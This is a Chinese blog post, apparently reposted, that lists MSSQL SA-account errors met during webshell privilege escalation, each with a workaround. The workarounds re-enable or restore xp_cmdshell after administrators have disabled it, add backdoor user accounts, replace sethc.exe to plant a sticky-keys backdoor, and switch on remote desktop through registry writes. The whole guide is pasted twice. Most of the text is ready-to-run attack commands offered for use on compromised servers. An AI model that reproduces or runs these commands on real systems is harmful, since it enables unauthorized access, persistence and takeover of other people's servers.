MSSQL SA错误提权集锦
2011-05-15 20:06
323 查看
在webshell提权过程中使用MSSQL的SA账号来提升权限拿服务器是比较有效的方法,但是在我们得到SA账号的密码去执行系统命令的时候往往会遇到各类错误提示,无法正常执行系统命令。很多菜鸟朋友们遇到类似的问题可能就会选择放弃,其实这类问题是很常见的,现在管理员安全意识有所提高,往往对SA账号做了限制,或者是对我们执行系统命令所需要的xp_cmdshell储存过程做了修改或者删除,这个xp_cmdshell就类似于我们的wscript.shell一样了,有时候遇到管理将该组件删除了的我们自己上传cmd也就不能执行了。但是这类情况我们也可以突破的,下面给大家列出一些实用SA账号执行系统命令出现的各类错误以及修复办法。
针对各类错误我们的修复办法都是给服务器执行SQL命令进行修复,这类给服务器执行SQL命令我们可以使用一款《SQL查询分析器修正分离版》的软件,远程连接服务器直接执行SQL命令,若服务器是内网环境下的话我们就需要使用webshell自带的功能给服务器执行SQL语句了。
错误1:Error Message:未能找到存储过程 'master..xp_cmdshell'。
修复办法:
第一步先删除:
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
第二步恢复:
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
错误2:拒绝访问。
修复办法:
该类错误一般是在执行系统命令的时候出现,例如执行net user invader 123456 /add时候发生,该错误是由于管理对net文件作了修改,这类我们可以使用net1,或者使用Dir net.exe /s /p命令查找net.exe的备份文件,找到位置再执行,例如net1 user invader 123456 /add或D:/XXX/net.exe user invader 123456 /add。
错误3:Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
修复办法:
;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 --
错误4:Error Message:无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。
修复办法:
第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","c:/Program Files/Microsoft SQL Server/MSSQL/Binn/xplog70.dll")
;EXEC sp_configure 'show advanced options', 0 --
错误5:Error Message:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)。
修复办法:
第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","c:/Program Files/Microsoft SQL Server/MSSQL/Binn/xplog70.dll")
;EXEC sp_configure 'show advanced options', 0 --
错误6:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)
修复办法:
针对该问题具体修复办法比较难,但可以换另外的思路,我们可以留SHIFT后门,执行两句SQL命令替换sethc.exe为explorer.exe。
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe','c:/windows/system32/sethc.exe';
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:/windows/system32/sethc.exe','c:/windows/system32/dllcache/sethc.exe';
这个两条语句执行的时间间隔最好不超过10秒钟,否则系统会自动恢复原来的文件。
然后终端登录,按5次shift会运行explorer,找到cmd.exe加用户就OK了。进入后可以使用webshell上传cmd.exe和net.exe加用户!
错误7:3389未开启。
修复办法:
Cmd 命令开3389:
REG ADD HKLM/SYSTEM/CurrentControlSet/Control/Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
Sql命令开3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM/CurrentControlSet/Control/Terminal Server','fDenyTSConnections','REG_DWORD',0;--
关3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM/CurrentControlSet/Control/Terminal Server','fDenyTSConnections','REG_DWORD',1;
看3389端口
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp','PortNumber'
针对各类错误我们的修复办法都是给服务器执行SQL命令进行修复,这类给服务器执行SQL命令我们可以使用一款《SQL查询分析器修正分离版》的软件,远程连接服务器直接执行SQL命令,若服务器是内网环境下的话我们就需要使用webshell自带的功能给服务器执行SQL语句了。
错误1:Error Message:未能找到存储过程 'master..xp_cmdshell'。
修复办法:
第一步先删除:
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
第二步恢复:
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
错误2:拒绝访问。
修复办法:
该类错误一般是在执行系统命令的时候出现,例如执行net user invader 123456 /add时候发生,该错误是由于管理对net文件作了修改,这类我们可以使用net1,或者使用Dir net.exe /s /p命令查找net.exe的备份文件,找到位置再执行,例如net1 user invader 123456 /add或D:/XXX/net.exe user invader 123456 /add。
错误3:Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
修复办法:
;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 --
错误4:Error Message:无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。
修复办法:
第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","c:/Program Files/Microsoft SQL Server/MSSQL/Binn/xplog70.dll")
;EXEC sp_configure 'show advanced options', 0 --
错误5:Error Message:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)。
修复办法:
第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","c:/Program Files/Microsoft SQL Server/MSSQL/Binn/xplog70.dll")
;EXEC sp_configure 'show advanced options', 0 --
错误6:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)
修复办法:
针对该问题具体修复办法比较难,但可以换另外的思路,我们可以留SHIFT后门,执行两句SQL命令替换sethc.exe为explorer.exe。
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe','c:/windows/system32/sethc.exe';
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:/windows/system32/sethc.exe','c:/windows/system32/dllcache/sethc.exe';
这个两条语句执行的时间间隔最好不超过10秒钟,否则系统会自动恢复原来的文件。
然后终端登录,按5次shift会运行explorer,找到cmd.exe加用户就OK了。进入后可以使用webshell上传cmd.exe和net.exe加用户!
错误7:3389未开启。
修复办法:
Cmd 命令开3389:
REG ADD HKLM/SYSTEM/CurrentControlSet/Control/Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
Sql命令开3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM/CurrentControlSet/Control/Terminal Server','fDenyTSConnections','REG_DWORD',0;--
关3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM/CurrentControlSet/Control/Terminal Server','fDenyTSConnections','REG_DWORD',1;
看3389端口
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp','PortNumber'
相关文章推荐
- MSSQL sa 弱口令提权基础知识学习
- MSSQL2005 用户'sa'登录失败。错误18456
- MSSQL 2008错误提示:更改对于登录sa失败
- mssql sa 18456错误的解决方法
- MSSQL 2008错误提示:更改对于登录sa失败(转)
- 得到Sa密码后-MsSql提权命令
- MSSQL 2008错误提示:更改对于登录sa失败
- Android问题集锦转载之三:Javah 常见错误记录-NDK与JNI除错
- php连接mssql数据库的方法以及错误设置
- sql server启动不了, MSSQL 18052错误: 9003,严重度: 20,状态: 1 .
- 提权思路之MSSQL差异备份取系统权限
- php+mssql输出月份错误(或者说读取datetime月份为中文)解决方法
- iOS--错误集锦--static table views are onlu valid when embedded in UITableViewController instances
- FPGA开发之错误集锦(一)
- mysql linux下源码安装错误集锦
- WINCE PB编译不过各种错误集锦
- SQL SERVER 2008 sa登录 18456 错误解决方案
- MSSQL数据库连接中的两个最常见错误(觉)
- VC++编译错误集锦及解决方案
- IOS--错误集锦--reason: '*** -[NSURL initFileURLWithPath:]: nil string parameter'